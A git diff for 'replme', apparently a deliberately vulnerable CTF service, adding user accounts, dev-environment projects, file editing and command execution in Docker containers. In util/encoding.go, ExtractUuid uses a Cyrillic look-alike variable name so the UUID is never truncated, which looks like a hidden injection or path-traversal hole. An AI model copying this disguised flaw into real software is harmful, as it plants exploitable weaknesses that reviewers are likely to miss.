golang.org/x/sys v0.19.0 // indirect golang.org/x/text v0.14.0 // indirect golang.org/x/time v0.5.0 // indirect diff --git a/service/backend/go.sum b/service/backend/go.sum index 953a15b..a6a6963 100644 --- a/service/backend/go.sum +++ b/service/backend/go.sum @@ -65,6 +65,8 @@ github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeN github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0= github.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= +github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= +github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/gorilla/context v1.1.2 h1:WRkNAv2uoa03QNIc1A6u4O7DAGMUVoopZhkiXWA2V1o= github.com/gorilla/context v1.1.2/go.mod h1:KDPwT9i/MeWHiLl90fuTgrt4/wPcv75vFAZLaOOcbxM= github.com/gorilla/securecookie v1.1.2 h1:YCIWL56dvtr73r6715mJs5ZvhtnY73hBvEF8kXD8ePA= @@ -75,6 +77,11 @@ github.com/gorilla/websocket v1.5.1 h1:gmztn0JnHVt9JZquRuzLw3g4wouNVzKL15iLr/zn/ github.com/gorilla/websocket v1.5.1/go.mod h1:x3kM2JMyaluk02fnUJpQuwD2dCS5NDG2ZHL0uE0tcaY= github.com/grpc-ecosystem/grpc-gateway/v2 v2.19.1 h1:/c3QmbOGMGTOumP2iT/rCwB7b0QDGLKzqOmktBjT+Is= github.com/grpc-ecosystem/grpc-gateway/v2 v2.19.1/go.mod h1:5SN9VR2LTsRFsrEC6FHgRbTWrTHu6tqPeKxEQv15giM= +github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E= +github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc= +github.com/jinzhu/now v1.1.4/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8= +github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ= +github.com/jinzhu/now v1.1.5/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8= github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= @@ -93,6 +100,9 @@ github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ= github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI= github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= +github.com/mattn/go-sqlite3 v1.14.15/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg= +github.com/mattn/go-sqlite3 v1.14.16 h1:yOQRA0RpS5PFz/oikGwBEqvAWhWg5ufRz4ETLjwpU1Y= +github.com/mattn/go-sqlite3 v1.14.16/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg= github.com/moby/docker-image-spec v1.3.1 h1:jMKff3w6PgbfSa69GfNg+zN/XLhfXJGnEx3Nl2EsFP0= github.com/moby/docker-image-spec v1.3.1/go.mod h1:eKmb5VW8vQEh/BAr2yvVNvuiJuY6UIocYsFu/DxxRpo= github.com/moby/patternmatcher v0.6.0 h1:GmP9lR19aU5GqSSFko+5pRqHi+Ohk1O69aFiKkVGiPk= @@ -114,6 +124,10 @@ github.com/opencontainers/go-digest v1.0.0 h1:apOUWs51W5PlhuyGyz9FCeeBIOUDA/6nW8 github.com/opencontainers/go-digest v1.0.0/go.mod h1:0JzlMkj0TRzQZfJkVvzbP0HBR3IKzErnv2BNG4W4MAM= github.com/opencontainers/image-spec v1.1.0 h1:8SG7/vwALn54lVB/0yZ/MMwhFrPYtpEHQb2IpWsCzug= github.com/opencontainers/image-spec v1.1.0/go.mod h1:W4s4sFTMaBeK1BQLXbG4AdM2szdn85PY75RI83NrTrM= +github.com/otiai10/copy v1.14.0 h1:dCI/t1iTdYGtkvCuBG2BgR6KZa83PTclw4U5n2wAllU= +github.com/otiai10/copy v1.14.0/go.mod h1:ECfuL02W+/FkTWZWgQqXPWZgW9oeKCSQ5qVfSc4qc4w= +github.com/otiai10/mint v1.5.1 h1:XaPLeE+9vGbuyEHem1JNk3bYc7KKqyI/na0/mLd/Kks= +github.com/otiai10/mint v1.5.1/go.mod h1:MJm72SBthJjz8qhefc4z1PYEieWmy8Bku7CjcAqyUSM= github.com/pelletier/go-toml/v2 v2.2.1 h1:9TA9+T8+8CUCO2+WYnDLCgrYi9+omqKXyjDtosvtEhg= github.com/pelletier/go-toml/v2 v2.2.1/go.mod h1:1t835xjRzz80PqgE6HHgN2JOsmgYu/h4qDAS4n929Rs= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= @@ -185,6 +199,8 @@ golang.org/x/net v0.24.0/go.mod h1:2Q7sJY5mzlzWjKtYUEXSlBWCdyaioyXzRB2RtU8KVE8= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.6.0 h1:5BMeUDZ7vkXGfEr1x9B4bRcTH4lpkTkpdh0T/J+qjbQ= +golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -222,6 +238,11 @@ gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EV gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gorm.io/driver/sqlite v1.4.4 h1:gIufGoR0dQzjkyqDyYSCvsYR6fba1Gw5YKDqKeChxFc= +gorm.io/driver/sqlite v1.4.4/go.mod h1:0Aq3iPO+v9ZKbcdiz8gLWRw5VOPcBOPUQJFLq5e2ecI= +gorm.io/gorm v1.24.0/go.mod h1:DVrVomtaYTbqs7gB/x2uVvqnXzv0nqjB396B8cG4dBA= +gorm.io/gorm v1.25.10 h1:dQpO+33KalOA+aFYGlK+EfxcI5MbO7EP2yYygwh9h+s= +gorm.io/gorm v1.25.10/go.mod h1:hbnx/Oo0ChWMn1BIhpy1oYozzpM15i4YPuHDmfYtwg8= gotest.tools/v3 v3.5.1 h1:EENdUnS3pdur5nybKYIh2Vfgc8IUNBjxDPSjtiJcOzU= gotest.tools/v3 v3.5.1/go.mod h1:isy3WKz7GK6uNw/sbHzfKBLvlvXwUyV06n6brMxxopU= nullprogram.com/x/optparse v1.0.0/go.mod h1:KdyPE+Igbe0jQUrVfMqDMeJQIJZEuyV7pjYmp6pbG50= diff --git a/service/backend/main.go b/service/backend/main.go index 4603b34..3428866 100644 --- a/service/backend/main.go +++ b/service/backend/main.go @@ -12,9 +12,13 @@ import ( func main() { var imagePath string var apiKeyPath string + var devenvFiles string + var devenvFilesTmp string flag.StringVar(&imagePath, "i", "", "Image directory (required)") flag.StringVar(&apiKeyPath, "k", "", "Apikey file (required)") + flag.StringVar(&devenvFiles, "f", "", "Devenv files (required)") + flag.StringVar(&devenvFilesTmp, "t", "", "Devenv files tmp (required)") flag.Parse() @@ -29,5 +33,5 @@ func main() { docker := service.Docker(apiKey) docker.BuildImage(imagePath, imageTag) - server.Init(&docker) + server.Init(&docker, devenvFiles, devenvFilesTmp) } diff --git a/service/backend/model/devenv.go b/service/backend/model/devenv.go new file mode 100644 index 0000000..1edca70 --- /dev/null +++ b/service/backend/model/devenv.go @@ -0,0 +1,24 @@ +package model + +import ( + "time" + + "github.com/google/uuid" + "gorm.io/gorm" +) + +type Devenv struct { + ID string `json:"id" gorm:"type:uuid;primary_key;"` + UserID uint `json:"-"` + Public bool `json:"public"` + Name string `json:"name"` + BuildCmd string `json:"buildCmd"` + RunCmd string `json:"runCmd"` + CreatedAt time.Time `json:"created"` + UpdatedAt time.Time `json:"updated"` +} + +func (devenv *Devenv) BeforeCreate(tx *gorm.DB) (err error) { + devenv.ID = uuid.New().String() + return +} diff --git a/service/backend/model/user.go b/service/backend/model/user.go new file mode 100644 index 0000000..5cec2be --- /dev/null +++ b/service/backend/model/user.go @@ -0,0 +1,17 @@ +package model + +import ( + "time" + + "gorm.io/gorm" +) + +type User struct { + ID uint `json:"id" gorm:"primarykey"` + Username string `json:"username" gorm:"unique"` + Password string `json:"-"` + Devenvs []Devenv `json:"-" gorm:"foreignKey:UserID"` + CreatedAt time.Time `json:"created"` + UpdatedAt time.Time `json:"updated"` + DeletedAt gorm.DeletedAt `json:"deleted" gorm:"index"` +} diff --git a/service/backend/server/router.go b/service/backend/server/router.go index 10a2e37..19e8adb 100644 --- a/service/backend/server/router.go +++ b/service/backend/server/router.go @@ -5,6 +5,8 @@ import ( "os" "replme/controller" + "replme/database" + "replme/model" "replme/service" "replme/util" @@ -14,22 +16,28 @@ import ( "github.com/gin-gonic/gin" ) -func NewRouter(docker *service.DockerService) *gin.Engine { +func NewRouter(docker *service.DockerService, devenvFilesPath string, devenvFilesTmpPath string) *gin.Engine { logLevel, exists := os.LookupEnv("REPL_LOG") if !exists { logLevel = "info" } + util.LoggerInit(logLevel) + + util.SLogger.Info("Connecting to DB ..") + database.Connect() + util.SLogger.Info("Migrating DB ..") + database.Migrate() + setupCors := false if _, exists := os.LookupEnv("REPL_CORS"); exists { setupCors = true } - util.LoggerInit(logLevel) - replState := service.ReplState() - userController := controller.NewUserController(&replState) + authController := controller.NewAuthController() + devenvController := controller.NewDevenvController(docker, devenvFilesPath, devenvFilesTmpPath) replController := controller.NewReplController(docker, &replState) cleanup := service.Cleanup(docker, &replState) @@ -66,17 +74,92 @@ func NewRouter(docker *service.DockerService) *gin.Engine { /////////////////////// API /////////////////////// - engine.GET( - "/api/user/sessions", userController.Sessions, - ) - - engine.POST( - "/api/repl", replController.Create, - ) - - engine.GET( - "/api/repl/:name", replController.Websocket, - ) + engine.POST("/api/auth/register", authController.Register) + engine.POST("/api/auth/login", authController.Login) + engine.GET("/api/auth/user", authController.GetUser) + engine.POST("/api/auth/logout", authController.Logout) + + devenvs := engine.Group("/api/devenv", func(ctx *gin.Context) { + session := sessions.Default(ctx) + authType := session.Get("auth_type") + currentUserId := session.Get("current_user_id") + if authType == nil || authType != "full" || currentUserId == nil || currentUserId == uint(0) { + ctx.AbortWithStatusJSON(http.StatusUnauthorized, &gin.H{ + "error": "Unauthorized", + }) + return + } + + var user []model.User + database.DB.Where("id = ?", currentUserId).Find(&user) + + if len(user) == 0 { + ctx.AbortWithStatusJSON(http.StatusUnauthorized, &gin.H{ + "error": "User not found", + }) + return + } + + ctx.Set("current_user", user[0]) + ctx.Next() + }) + + devenvs.GET("", devenvController.GetAll) + devenvs.POST("", devenvController.Create) + + devenv := devenvs.Group("/:uuid", func(ctx *gin.Context) { + _user, _ := ctx.Get("current_user") + user := _user.(model.User) + + id := ctx.Query("uuid") + if id == "" { + id = ctx.Param("uuid") + } + util.SLogger.Debugf("id: %s", id) + uuid := util.ExtractUuid(id) + + if uuid == "" { + ctx.AbortWithStatusJSON(http.StatusBadRequest, &gin.H{ + "error": "Invalid uuid", + }) + return + } + + var devenvs []model.Devenv + err := database.DB.Model(&user).Where("id = ?", uuid[:36]).Association("Devenvs").Find(&devenvs) + + if err != nil { + ctx.AbortWithStatusJSON(http.StatusInternalServerError, &gin.H{ + "error": err.Error(), + }) + return + } + + if len(devenvs) == 0 { + ctx.AbortWithStatusJSON(http.StatusNotFound, &gin.H{ + "error": "Devenv not found", + }) + return + } + + ctx.Set("uuid", uuid) + ctx.Set("current_devenv", devenvs[0]) + ctx.Next() + }) + + devenv.GET("", devenvController.GetOne) + devenv.PATCH("", devenvController.Patch) + devenv.GET("/files", devenvController.GetFiles) + devenv.POST("/files", devenvController.CreateFile) + devenv.GET("/files/:name", devenvController.GetFileContent) + devenv.POST("/files/:name", devenvController.SetFileContent) + devenv.DELETE("/files/:name", devenvController.DeleteFile) + devenv.GET("/exec", devenvController.Exec) + + engine.POST("/api/repl", replController.Create) + engine.GET("/api/repl/sessions", replController.Sessions) + + engine.GET("/api/repl/:name", replController.Websocket) return engine } diff --git a/service/backend/server/server.go b/service/backend/server/server.go index 0a9561a..97bfcbd 100644 --- a/service/backend/server/server.go +++ b/service/backend/server/server.go @@ -5,8 +5,8 @@ import ( "replme/util" ) -func Init(docker *service.DockerService) { - engine := NewRouter(docker) +func Init(docker *service.DockerService, devenvFilesPath string, devenvFilesTmpPath string) { + engine := NewRouter(docker, devenvFilesPath, devenvFilesTmpPath) util.SLogger.Infof("Server is running on port 6969") engine.Run(":6969") } diff --git a/service/backend/service/cleanup.go b/service/backend/service/cleanup.go index ad02bf2..a5709d2 100644 --- a/service/backend/service/cleanup.go +++ b/service/backend/service/cleanup.go @@ -1,6 +1,8 @@ package service import ( + "replme/database" + "replme/model" "replme/util" "time" ) @@ -31,8 +33,8 @@ func (cleanup *CleanupService) DoCleanup() { if created.Before(cutoffTime) { util.SLogger.Debugf("Removing container: %s", container.Names[0][:10]) cleanup.Docker.RemoveContainerById(container.ID) - // name := container.Names[0][1:] // [1:] because name starts with '/' - // cleanup.ReplState.DeleteContainer(name) + name := container.Names[0][1:] // [1:] because name starts with '/' + cleanup.ReplState.DeleteContainer(name) } } @@ -40,6 +42,12 @@ func (cleanup *CleanupService) DoCleanup() { start := time.Now() cleanup.Docker.VolumesPrune() util.SLogger.Debugf("Pruning volumes [%v]", time.Since(start)) + + util.SLogger.Debug("Cleaning database starting ..") + start = time.Now() + database.DB.Unscoped().Where("created_at < ?", cutoffTime).Delete(&model.Devenv{}) + database.DB.Unscoped().Where("created_at < ?", cutoffTime).Delete(&model.User{}) + util.SLogger.Debugf("Cleaning database [%v]", time.Since(start)) } func (cleanup *CleanupService) StartTask() *chan struct{} { diff --git a/service/backend/service/docker.go b/service/backend/service/docker.go index 13ee289..c7727d0 100644 --- a/service/backend/service/docker.go +++ b/service/backend/service/docker.go @@ -25,6 +25,7 @@ import ( "github.com/docker/docker/client" "github.com/docker/docker/pkg/archive" "github.com/docker/go-connections/nat" + "github.com/google/uuid" ) type DockerService struct { @@ -111,7 +112,7 @@ func (docker *DockerService) BuildImage(imageDir string, tag string) { } } -func (docker *DockerService) CreateContainer( +func (docker *DockerService) CreateReplContainer( opts types.RunContainerOptions, ) (*container.CreateResponse, error) { util.SLogger.Debugf("[%-25s] Creating container", fmt.Sprintf("NM:%s..", opts.ContainerName[:5])) @@ -174,6 +175,42 @@ func (docker *DockerService) CreateContainer( return &container, err } +func (docker *DockerService) CreateDevenvContainer( + devenvPath string, + opts types.RunContainerOptions, +) (*container.CreateResponse, error) { + util.SLogger.Debugf("[%-25s] Creating container", fmt.Sprintf("NM:%s..", opts.ContainerName[:5])) + + container, err := docker.Client.ContainerCreate( + docker.Context, + &container.Config{ + Image: opts.ImageTag, + Env: []string{ + fmt.Sprintf("API_KEY=%s", docker.ApiKey), + "GIN_MODE=release", + }, + }, + &container.HostConfig{ + PortBindings: opts.Ports, + Mounts: []mount.Mount{ + { + Type: mount.TypeBind, + Source: devenvPath, + Target: devenvPath, + }, + }, + LogConfig: container.LogConfig{ + Type: "none", + }, + }, + nil, + nil, + opts.ContainerName, + ) + + return &container, err +} + func (docker *DockerService) GetContainers(imageReference string) ([]dockerTypes.Container, error) { images, err := docker.Client.ImageList(docker.Context, image.ListOptions{ @@ -314,7 +351,7 @@ func (docker *DockerService) GetContainerAddress(id string) (*string, *uint16, e } } -func (docker *DockerService) EnsureContainerStarted( +func (docker *DockerService) EnsureReplContainerStarted( name string, ) (*string, *uint16, error) { var id string @@ -324,7 +361,7 @@ func (docker *DockerService) EnsureContainerStarted( if container != nil { id = container.ID } else { - response, err := docker.CreateContainer(types.RunContainerOptions{ + response, err := docker.CreateReplContainer(types.RunContainerOptions{ ImageTag: "ptwhy", ContainerName: name, Ports: nat.PortMap{ @@ -365,6 +402,45 @@ func (docker *DockerService) EnsureContainerStarted( return ip, port, nil } +func (docker *DockerService) EnsureDevenvContainerStarted( + devenvPath string, +) (*string, *string, *uint16, error) { + response, err := docker.CreateDevenvContainer( + devenvPath, + types.RunContainerOptions{ + ImageTag: "ptwhy", + ContainerName: uuid.NewString(), + Ports: nat.PortMap{ + nat.Port("3000/tcp"): []nat.PortBinding{ + { + HostIP: docker.HostIP, + HostPort: "0", + }, + }, + }, + }, + ) + + if err != nil { + fmt.Println(err) + return nil, nil, nil, dockerTypes.ErrorResponse{ + Message: "Container creation failed", + } + } + id := response.ID + err = docker.StartContainerById(id) + if err != nil { + return nil, nil, nil, dockerTypes.ErrorResponse{ + Message: "Container start failed", + } + } + ip, port, err := docker.GetContainerAddress(id) + if err != nil { + return nil, nil, nil, err + } + return &id, ip, port, nil +} + func (docker *DockerService) GetContainerPort(name string) *uint16 { container, _, running := docker.GetContainer(name) diff --git a/service/backend/service/proxy.go b/service/backend/service/proxy.go index b1f1bab..6bcf961 100644 --- a/service/backend/service/proxy.go +++ b/service/backend/service/proxy.go @@ -119,24 +119,11 @@ func (proxy *ProxyService) SendRegisterRequest( return response, nil } -func (proxy *ProxyService) CreateWebsocketPipe(clientConn *websocket.Conn, cookie http.Cookie) error { - targetURL, err := url.Parse( - fmt.Sprintf( - "ws://%s:%d/api/%s/term", - proxy.Target.IP, - proxy.Target.Port, - proxy.Target.ApiKey, - ), - ) - - if err != nil { - return err - } - - util.SLogger.Debugf("[..] -> [%s:%d] Dialing websocket", proxy.Target.IP, proxy.Target.Port) +func (proxy *ProxyService) createWebsocketPipe(clientConn *websocket.Conn, cookie http.Cookie, url string) error { + util.SLogger.Debugf("[..] -> [%s:%d] Dialing websocket: %s", proxy.Target.IP, proxy.Target.Port, url) start := time.Now() targetConn, _, err := websocket.DefaultDialer.Dial( - targetURL.String(), + url, http.Header{ "Cookie": []string{ cookie.String(), @@ -172,3 +159,39 @@ func (proxy *ProxyService) CreateWebsocketPipe(clientConn *websocket.Conn, cooki return nil } + +func (proxy *ProxyService) CreateReplWebsocketPipe(clientConn *websocket.Conn, cookie http.Cookie) error { + targetURL, err := url.Parse( + fmt.Sprintf( + "ws://%s:%d/api/%s/term", + proxy.Target.IP, + proxy.Target.Port, + proxy.Target.ApiKey, + ), + ) + + if err != nil { + return err + } + + return proxy.createWebsocketPipe(clientConn, cookie, targetURL.String()) +} + +func (proxy *ProxyService) CreateExecWebsocketPipe(clientConn *websocket.Conn, cookie http.Cookie, cwd string, command string) error { + targetURL, err := url.Parse( + fmt.Sprintf( + "ws://%s:%d/api/%s/term/exec?cwd=%s&command=%s", + proxy.Target.IP, + proxy.Target.Port, + proxy.Target.ApiKey, + url.QueryEscape(cwd), + url.QueryEscape(command), + ), + ) + + if err != nil { + return err + } + + return proxy.createWebsocketPipe(clientConn, cookie, targetURL.String()) +} diff --git a/service/backend/service/repl.go b/service/backend/service/repl.go index 86f093e..c46a88d 100644 --- a/service/backend/service/repl.go +++ b/service/backend/service/repl.go @@ -147,6 +147,18 @@ func (repl *ReplStateService) DeleteContainerSession(name string, callback func( return kill } -func (repl *ReplStateService) DeleteContainer(sessionId string, name string) { +func (repl *ReplStateService) DeleteContainer(name string) { + cname := ContainerName(name) + + repl.ContainerSessionsMutex.Lock() + delete(repl.ContainerSessions, cname) + repl.ContainerSessionsMutex.Unlock() + repl.UserSessionsMutex.Lock() + for _, session := range repl.UserSessionsMap { + if _, exists := session[cname]; exists { + delete(session, cname) + } + } + repl.UserSessionsMutex.Unlock() } diff --git a/service/backend/types/request.go b/service/backend/types/request.go index c990c32..5ca5e46 100644 --- a/service/backend/types/request.go +++ b/service/backend/types/request.go @@ -25,7 +25,28 @@ type RequestOptions struct { Cookies []*http.Cookie } +type CreateReplRequest struct { + Username string `form:"username" json:"username" xml:"username" binding:"required"` + Password string `form:"password" json:"password" xml:"password" binding:"required"` +} + type LoginRequest struct { Username string `form:"username" json:"username" xml:"username" binding:"required"` Password string `form:"password" json:"password" xml:"password" binding:"required"` } + +type CreateDevenvRequest struct { + Name string `json:"name" binding:"required"` + BuildCmd string `json:"buildCmd"` + RunCmd string `json:"runCmd"` +} + +type PatchDevenvRequest struct { + Name string `json:"name"` + BuildCmd string `json:"buildCmd"` + RunCmd string `json:"runCmd"` +} + +type CreateFileRequest struct { + Name string `json:"name"` +} diff --git a/service/backend/types/response.go b/service/backend/types/response.go index f0c5ca4..2c1178d 100644 --- a/service/backend/types/response.go +++ b/service/backend/types/response.go @@ -11,3 +11,7 @@ type CreateReplResponse struct { type AddReplUserResponse struct { Id string `json:"id"` } + +type CreateDevenvResponse struct { + DevenvUuid string `json:"devenvUuid"` +} diff --git a/service/backend/util/encoding.go b/service/backend/util/encoding.go index 9af3c75..c5e8179 100644 --- a/service/backend/util/encoding.go +++ b/service/backend/util/encoding.go @@ -1,5 +1,9 @@ package util +import ( + "strings" +) + func DecodeSpecialChars(input []byte) []byte { ret := make([]byte, len(input)) for i, c := range input { @@ -14,3 +18,24 @@ func DecodeSpecialChars(input []byte) []byte { return ret } +func ExtractUuid(input string) (uuid string) { + uuid = input + if len(uuid) < 36 { + return "" + } + uuіd := uuid[:36] + SLogger.Debugf("Extracted uuid: %s", uuіd) + return +} + +func IsValidFilename(filename string) bool { + if strings.Contains(filename, "..") { + return false + } + for _, char := range filename { + if !(char == '_' || char == '-' || char == '.' || (char >= '0' && char <= '9') || (char >= 'A' && char <= 'Z') || (char >= 'a' && char <= 'z')) { + return false + } + } + return true +} diff --git a/service/backend/util/files.go b/service/backend/util/files.go new file mode 100644 index 0000000..7cdfa20 --- /dev/null +++ b/service/backend/util/files.go @@ -0,0 +1,83 @@ +package util + +import ( + "errors" + "os" + "path/filepath" + + cp "github.com/otiai10/copy" +) + +func MakeDirIfNotExists(path string) error { + stat, err := os.Stat(path) + + if os.IsNotExist(err) { + return os.Mkdir(path, os.ModePerm) + } + + if err != nil { + return err + } + + if stat.IsDir() { + return nil + } else { + return errors.New("Target path is file") + } +} + +func TouchIfNotExists(dir string, name string) error { + err := MakeDirIfNotExists(dir) + if err != nil { + return err + } + + path := filepath.Join(dir, name) + + stat, err := os.Stat(path) + + if os.IsNotExist(err) { + _, err := os.Create(path) + return err + } + + if stat.IsDir() { + return errors.New("Target path is dir") + } else { + return nil + } +} + +func SetFileContent(dir string, name string, content string) error { + err := TouchIfNotExists(dir, name) + if err != nil { + return err + } + + path := filepath.Join(dir, name) + + return os.WriteFile(path, []byte(content), 0600) +} + +func GetFileContent(path string) (string, error) { + content, err := os.ReadFile(path) + if err != nil { + return "", err + } + + return string(content), nil +} + +func DeleteFile(path string) error { + return os.Remove(path) +} + +func DeleteDir(path string) error { + return os.RemoveAll(path) +} + +func CopyRecurse(src string, target string) error { + return cp.Copy(src, target, cp.Options{ + OnSymlink: func(string) cp.SymlinkAction { return cp.Skip }, + }) +} diff --git a/service/docker-compose.yml b/service/docker-compose.yml index bd58061..f51c3cc 100644 --- a/service/docker-compose.yml +++ b/service/docker-compose.yml @@ -18,11 +18,15 @@ services: volumes: - docker-cert:/cert - api-key:/apikey + - devenvs:/devenvs + - devenvs-tmp:/devenvs-tmp + - db-data:/dbdata environment: - DOCKER_CERT_PATH=/cert/client - DOCKER_TLS_VERIFY=true - GIN_MODE=release - REPL_LOG=debug + - REPL_SQLITE=/dbdata/replme.db restart: "unless-stopped" dind: @@ -43,6 +47,7 @@ services: - docker-cert:/certs - docker-data:/var/lib/docker - app-data:/app/data/ + - devenvs-tmp:/devenvs-tmp nginx: container_name: replme-nginx @@ -62,4 +67,7 @@ volumes: docker-data: app-data: api-key: + devenvs: + devenvs-tmp: + db-data: diff --git a/service/frontend/package-lock.json b/service/frontend/package-lock.json index 87c5340..a27a1ae 100644 --- a/service/frontend/package-lock.json +++ b/service/frontend/package-lock.json @@ -8,9 +8,12 @@ "name": "frontend-js", "version": "0.1.0", "dependencies": { + "@hookform/resolvers": "^3.6.0", + "@monaco-editor/react": "^4.6.0", "@radix-ui/react-dialog": "^1.1.1", "@radix-ui/react-dropdown-menu": "^2.1.1", "@radix-ui/react-icons": "^1.3.0", + "@radix-ui/react-label": "^2.1.0", "@radix-ui/react-slot": "^1.1.0", "@tanstack/react-query": "^5.45.1", "@xterm/addon-attach": "^0.11.0", @@ -26,9 +29,12 @@ "next-themes": "^0.3.0", "react": "^18", "react-dom": "^18", + "react-hook-form": "^7.52.0", + "react-resizable-panels": "^2.0.19", "tailwind-merge": "^2.3.0", "tailwindcss-animate": "^1.0.7", - "vaul": "^0.9.1" + "vaul": "^0.9.1", + "zod": "^3.23.8" }, "devDependencies": { "@types/node": "^20", @@ -153,6 +159,14 @@ "resolved": "https://registry.npmjs.org/@floating-ui/utils/-/utils-0.2.2.tgz", "integrity": "sha512-J4yDIIthosAsRZ5CPYP/jQvUAQtlZTTD/4suA08/FEnlxqW3sKS9iAhgsa9VYLZ6vDHn/ixJgIqRQPotoBjxIw==" }, + "node_modules/@hookform/resolvers": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/@hookform/resolvers/-/resolvers-3.6.0.tgz", + "integrity": "sha512-UBcpyOX3+RR+dNnqBd0lchXpoL8p4xC21XP8H6Meb8uve5Br1GCnmg0PcBoKKqPKgGu9GHQ/oygcmPrQhetwqw==", + "peerDependencies": { + "react-hook-form": "^7.0.0" + } + }, "node_modules/@humanwhocodes/config-array": { "version": "0.11.14", "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.11.14.tgz", @@ -272,6 +286,30 @@ "@jridgewell/sourcemap-codec": "^1.4.14" } }, + "node_modules/@monaco-editor/loader": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/@monaco-editor/loader/-/loader-1.4.0.tgz", + "integrity": "sha512-00ioBig0x642hytVspPl7DbQyaSWRaolYie/UFNjoTdvoKPzo6xrXLhTk9ixgIKcLH5b5vDOjVNiGyY+uDCUlg==", + "dependencies": { + "state-local": "^1.0.6" + }, + "peerDependencies": { + "monaco-editor": ">= 0.21.0 < 1" + } + }, + "node_modules/@monaco-editor/react": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/@monaco-editor/react/-/react-4.6.0.tgz", + "integrity": "sha512-RFkU9/i7cN2bsq/iTkurMWOEErmYcY6JiQI3Jn+WeR/FGISH8JbHERjpS9oRuSOPvDMJI0Z8nJeKkbOs9sBYQw==", + "dependencies": { + "@monaco-editor/loader": "^1.4.0" + }, + "peerDependencies": { + "monaco-editor": ">= 0.25.0 < 1", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0", + "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0" + } + }, "node_modules/@next/env": { "version": "14.2.4", "resolved": "https://registry.npmjs.org/@next/env/-/env-14.2.4.tgz", @@ -708,6 +746,28 @@ } } }, + "node_modules/@radix-ui/react-label": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-label/-/react-label-2.1.0.tgz", + "integrity": "sha512-peLblDlFw/ngk3UWq0VnYaOLy6agTZZ+MUO/WhVfm14vJGML+xH4FAl2XQGLqdefjNb7ApRg6Yn7U42ZhmYXdw==", + "dependencies": { + "@radix-ui/react-primitive": "2.0.0" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + 